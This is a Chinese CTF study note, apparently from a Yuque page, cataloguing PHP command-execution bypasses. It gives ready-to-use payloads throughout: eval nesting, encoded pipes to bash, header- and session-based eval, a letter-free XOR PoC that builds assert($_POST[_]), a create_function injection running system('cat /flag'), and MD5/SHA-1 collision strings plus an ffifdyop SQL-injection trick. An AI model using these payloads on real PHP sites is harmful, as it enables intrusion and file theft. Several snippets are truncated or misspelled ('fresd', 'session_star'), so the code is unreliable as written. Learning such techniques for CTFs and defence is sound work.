命令执行漏洞
passthru 直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。
system
shell_exec 反引号包裹 执行命令但是没有返回需要配合echo/print
popen() proc_open()都没有回显,echo还需要配合fread/fgets 例:echo fresd(命令)
bash:Linux系统下执行命令
两个反应号包裹
误无回显输入;再输入命令截断试试
LD_PRELOAD绕过
函数被禁止得特别多的时候,修改库文件
mail函数
1s3u10t
imagick函数
ls||这样就不会继续执行”>/dev/null 2>&1”,即可回显
eval嵌套
?c=eval($_GET[1]);&1=passthru(“tac%09fla*”);
分号被过滤时
=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
空格绕过
1 | {cat,flag.php} |
文件名绕过
- 通配符?代表单个字符 *模糊匹配,代表任何一个字符串
- 单双引号
- 反斜线\绕过,取消符号作用
- $1$9 $@ $*等变量绕过
- 内联执行即定义变量$a=fl;$b=ag;cat $a$b;
- 利用Linux环境变量{$PATH:5;1} 即在PATH从显示出来的字符串取第五个字符开始取,取一位
文件读取命令绕过
- tac
- cat
- more
- less
- nl//显示行数
- od 二进制读取
- xxd 十六进制读取
- sort
- uniq
- file -f
- grep查找某些字符串
编码绕过
base64编码system(echo |base64 -d|bash)
base32
HEX即ASCII码(echo |xxd -r -p|bash
shellcode编码:十六进制,printf()|bash即可执行
无回显时间盲注
- sleep:命令执行的时间
- awk NR 回显第几行
- cut -c 数字 读取第几个字符
- if语句后面得加空格
长度绕过
写入内容为覆盖原文件内容,单独用创建一个文件
续写,追加内容
- \ 换行
- ls -t 按照创建时间顺序排序
- vim写入内容
- sh 执行命令,控制长度用文件执行
- dir *第一个文件当指令,第二个文件当参数
- $(dir *)
- nc -vp 端口,监听
请求头绕过(php7.3以后)
- print_r(getallheaders());可以看到请求头
- end(getallheaders());最后一个请求头
- pos(getallheaders());第一个请求头
- eval(pos(getallheaders());)自己添加一个请求头然后读取执行
全局变量RCE
- print_r(end(pos(get_defined_vars())));&cmd=system(‘ls’);返回一定义变量值,所组成的数组
- eval(end(pos(get_defined_vars())));&cmd=system(‘ls’);
session print_r(arrary_rand(pos(getallheaders())));
session_star():启动新绘画或者重用现有会话,成功返回true,失败返回false
?code=shoe_source(session_id(session_star()))使用burp suite抓包修改cookie即可读取文件内容

eval(hex2bin(session_id(session_star()))),将cookie的想要执行的内容进行hax编码然后上传
scandir读取
- scandir(路径)类似于ls,无回显,配合print_r
- getcwd()显示当前路径
- current()读取第一个内容
- next()的去第二个内容
- array_reverse()倒叙排列
- array_flip()键名和键值对调
- arrary_rand()随机显示
- chdir()切换目录
- strrev()反转字符串
- crypt()加密
- localeconv()查看当前文件路径
- dirname()查看上级目录名
- ord()对第一个字符编码
- chr()对最后一个字符解码
查看当前目录:scandir(getcwd());
查看上级目录:print_r(scandir(dirname(getcwd())))
查看根目录文件print_r(scandir(chr(ord(strrev(crypt(serialize(arry()))))))
当文件不在第一第二或者倒数第一第二的位置时print_r(arrary_rand(array_flip()))
弱类型比较
php在弱类型比较==时会先将其类型转化为相同再去比较,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
“0e123456”==”0e456789”相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等
无字母数字命令执行
取反
1 | $a="system"; |
异或运算:
a和b进行异或运算,相同结果为0;不同结果为1,对应ASCII码转为二进制,再比较每一位是否相同,再将结果十进制对应ASCII码
1 |
|
异或脚本
poc
1 | $_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08');$__='_'.('%0D'^'%5D').('%0F'^'%40').('%0E'^'%5D').('%0B'^'%5F');$___=$$__;$_($___[_]); |
语句翻译为:assert($POST[]);

即可进行rce
1 | import re |
自增
1 | //测试发现7.0.12以上版本不可使用 |
php命令执行函数
system() ; exec() ; shell_exec() ;passthru() ; popen() ; 反引号``
MD5加密弱比较
1 | md5('QNKCDZO') == md5(240610708) |
若条件语句如下,则采用0e绕过
$x=0e215962017
1 | ($x==md5($x)) |
常用的MD50e开头
QNKCDZO240610708byGcYsonZ7yaabg7XSsaabC9RqSs878926199as155964671as214587387as1091221200a 0e215962017万能密码: ffifdyop
1 | Select * from ’admin’ where password=md5($pass,true)//用ffifdyop |
首先要知道md($pass,true)的含义MD5报文将以原始 16字符二进制格式返回ffifdyop 字符串经过MD5加密后为276f722736c95d99e921722cf9ed621c在转换成字符串为’or’6乱码Select * from ’admin’ where password=‘or’6乱码相当于万能密码$s1 = “%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab”$s2 = “%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab”$s3 = “%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab”
shal强碰撞
a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
* ?代替关键字
遇到eval一定要注意分号;
%0a多行匹配绕过正则
json格式

由键名键值组成
create_function绕过
1 | <?php |
形如$a(‘ ‘,$b)这类,即可使用create_function绕过,进行rce
?a=create_function&b=}system('cat /flag');//
}用于闭合create_function创建的匿名函数,;代表语句结束,//用于注释后面多余的}
来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/kotyql98l79n0qx6
语雀文档ID: 135092791